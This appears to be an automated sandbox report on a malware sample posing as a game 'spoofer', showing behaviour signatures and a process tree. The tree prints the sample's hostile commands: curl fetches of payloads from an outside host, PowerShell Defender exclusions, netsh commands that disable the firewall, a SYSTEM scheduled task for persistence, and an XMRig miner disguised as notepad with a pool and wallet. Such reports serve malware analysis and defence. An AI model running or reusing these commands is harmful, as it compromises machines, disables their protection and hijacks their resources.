Analysis
- user interaction
yes - max time kernel
1020s - max time network
1024s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
29/07/2026, 04:32
General
- Target ogfn spoofer.exe
- Size 1.1MB
- Sample260729-e53brswxft
- SHA256 6ec6204ceb39cc235927feb55c6c78a029f051b8770cd8f6823bf2eaeb9f8409
Score
10/10
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 52 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Drops file in Drivers directory 1 IoCs
- Modifies Windows Firewall 2 TTPs 4 IoCs
- Sets service image path in registry 3 TTPs 1 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
- Executes dropped EXE 20 IoCs
- Loads dropped DLL 64 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Contacts third-party web service commonly abused for C2 1 TTPs 8 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Drops file in System32 directory 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Accessibility Features 1 TTPs
Windows contains accessibility features that may be used by adversaries to establish persistence and/or elevate privileges.
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Executes a command shell one-liner 1 TTPs 5 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Checks SCSI registry key(s) 3 TTPs 64 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Modifies Control Panel 1 IoCs
- Modifies data under HKEY_USERS 9 IoCs
- Modifies registry class 64 IoCs
- Modifies system certificate store 2 TTPs 3 IoCs
- Opens file in notepad (likely ransom note) 3 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 5 IoCs
- Suspicious behavior: LoadsDriver 13 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 64 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of SetWindowsHookEx 45 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
- cURL User-Agent 1 IoCs
Uses User-Agent string associated with cURL utility.
Processes
-
C:\Users\Admin\AppData\Local\Temp\ogfn spoofer.exe"C:\Users\Admin\AppData\Local\Temp\ogfn spoofer.exe"1⤵
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\curl.exe"curl" "-k" "-L" "-s" "-o" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.zip.downloading" "https://www.python.org/ftp/python/3.12.7/python-3.12.7-embed-amd64.zip"2⤵
-
-
C:\Windows\SYSTEM32\tar.exe"tar" "-xf" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.zip" "-C" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex"2⤵
-
-
C:\Windows\SYSTEM32\curl.exe"curl" "-k" "-L" "-s" "-o" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\get-pip.py" "https://bootstrap.pypa.io/get-pip.py"2⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\get-pip.py"2⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Windows\SYSTEM32\curl.exe"curl" "-k" "-s" "-X" "PUT" "-H" "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" "-H" "x-cdn-origin-verify: trusted-upstream" "-o" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\requirements.txt" "https://thisisafalsepositive.st/cdn/5ef451455923"2⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.exe" "-m" "pip" "install" "-r" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\requirements.txt"2⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Windows\SYSTEM32\curl.exe"curl" "-k" "-s" "-X" "PUT" "-H" "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" "-H" "x-cdn-origin-verify: trusted-upstream" "-o" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\AppHost\main.py.downloading" "https://thisisafalsepositive.st/cdn/e/42a522313d92"2⤵
-
-
C:\Windows\SYSTEM32\curl.exe"curl" "-k" "-s" "-X" "PUT" "-H" "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" "-H" "x-cdn-origin-verify: trusted-upstream" "-o" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\AppHost\app.pyd.downloading" "https://thisisafalsepositive.st/cdn/e/36f2c0035ef9"2⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\AppHost\main.py" "-u" "496ef08e-97aa-4438-883e-9c9e530d2155" "--host" "thisisafalsepositive.st" "--env" "EXE"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\get-pip.py3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Scripts\pip.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Scripts\pip.exe install -r C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\requirements.txt3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Scripts\pip.exe" install -r C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\requirements.txt4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\AppHost\main.py -u 496ef08e-97aa-4438-883e-9c9e530d21553⤵
- Executes dropped EXE
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users' -ErrorAction SilentlyContinue"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Recovery\OEM' -ErrorAction SilentlyContinue"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn RuntimeBroker /tr C:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exe /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /run /tn RuntimeBroker4⤵
-
-
C:\Windows\SYSTEM32\netsh.exenetsh advfirewall firewall delete rule "name=Windows Security Health Service"4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SYSTEM32\netsh.exenetsh advfirewall firewall add rule "name=Windows Security Health Service" dir=in action=allow program=C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe enable=yes profile=any4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SYSTEM32\netsh.exenetsh advfirewall firewall add rule "name=Windows Security Health Service" dir=out action=allow program=C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe enable=yes profile=any4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe' -ErrorAction SilentlyContinue"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Diagnostics\Performance\PerfMonHost.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\Diagnostics\Performance\PerfMonHost.exe4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\notepad.exe"C:\Windows\system32\notepad.exe" --donate-level 3 -o xmr.kryptex.network:7029 -u 45KU8RaHwRzC5NJY6HBALWZQ9dpwLjrMK8HYbk5svzHvLwC7W1QrxZb6bUop6FnDmYS3bHFCKg1MD28779yVKbwo6toBGAh -p x --cpu-max-threads-hint=50 -a rx/0 --http-port 88885⤵
- Suspicious use of FindShellTrayWindow
-
-
-
C:\Users\Admin\AppData\Local\Temp\SystemInterrupts.exeC:\Users\Admin\AppData\Local\Temp\SystemInterrupts.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exeC:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Users'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Recovery\OEM'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exe"C:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exe"1⤵
- Executes dropped EXE
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Diagnostics\Performance\PerfMonHost.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\Diagnostics\Performance\PerfMonHost.exe1⤵
- Executes dropped EXE
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exe"C:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exe"1⤵
- Executes dropped EXE
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SDRSVC1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x130,0x134,0x138,0x10c,0x13c,0x7ffbceadc728,0x7ffbceadc734,0x7ffbceadc7402⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1740,i,5502275228338509763,1468257279181919814,262144 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=1872 /prefetch:22⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2012,i,6832915936997708757,5037045137166886782,524288 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=1488 /prefetch:112⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2320,i,3270765512550743471,11596244102899609329,524288 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=2292 /prefetch:132⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3248,i,6898798374871190470,11119013064705750479,2097152 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=3296 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3256,i,5336237468115014245,13146286037554873777,2097152 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=3316 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4708,i,2059415630563213813,12812951027096442987,2097152 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=4716 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4720,i,4146657887708588924,4044424408346727713,524288 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=4852 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4868,i,7863749225130973849,421456096890754069,2097152 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=4964 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4740,i,17635018040029839723,130050895563770587,2097152 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=5096 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=3400,i,16265056680321966517,16556408114301503947,2097152 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=3916 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4840,i,12521162826222351028,13180186338023604749,524288 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=5416 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5992,i,10994161263394792578,502202844815100240,524288 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=4716 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=3492,i,11961686168173713058,5293153090515672891,2097152 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=3456 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=6004,i,9014456580331392566,15457074570481496487,2097152 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=6132 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6104,i,15263645958907031359,8741606659600868632,524288 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=3328 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=3500,i,13308017465386861699,17852327690262628220,2097152 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=6132 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=3396,i,8623280909657119963,13967437087549194242,524288 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=6300 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=3572,i,3507702276064230246,16041701200475675701,2097152 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=3316 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=3492,i,6820892054470245521,11954253179089881900,524288 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=3600 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=6088,i,2889763408596735241,5517703561233848521,2097152 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=6000 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=6416,i,8176519248537600555,2123928933449144523,2097152 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=6420 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --metrics-shmem-handle=4812,i,13134334586585409763,13144825190469928781,2097152 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=3548 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=4760,i,7538044331773479233,12811630058925337186,2097152 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=3432 /prefetch:92⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5284,i,1342532969697195413,2512894296891680323,524288 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=6048 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6520,i,14469690669195707803,12189411373002424005,524288 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=4756 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6416,i,103497262229624207,13655713755891869644,524288 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=3548 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=4748,i,9772741101765520600,2097038871377367585,262144 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=5608 /prefetch:102⤵
-
-
